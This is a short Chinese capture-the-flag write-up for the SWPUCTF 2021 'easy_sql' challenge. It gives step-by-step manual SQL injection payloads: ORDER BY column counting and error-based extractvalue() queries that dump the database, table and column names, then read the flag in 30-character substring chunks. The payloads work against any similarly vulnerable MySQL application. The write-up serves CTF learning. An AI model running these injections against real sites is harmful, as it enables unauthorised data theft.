[SWPUCTF 2021 新生赛]easy_sql
手工sql注入流程
首先,检查字段数
url?wllm=1' order by 3--+
尝试到4的时候报错,故字段数为3
爆库名
url?wllm=1' union select 1,extractvalue(1,concat('~',(select database()))),3--+
爆表名
url/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3--+
爆列名
url/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3--+
查看数据
url/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(flag),1,30) from test_tb)))--+
因为extractvalue()函数只能返回32个字符,因此我们使用substring()函数解决这个问题:
例如
substring("abc",1,1),此语句表示从第一个字符读取一个字符返回在上面的payload中,我们得到的数据中,从第一个字符起读取30个字符返回
url/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(flag),31,30) from test_tb)))--+

浙公网安备 33010602011771号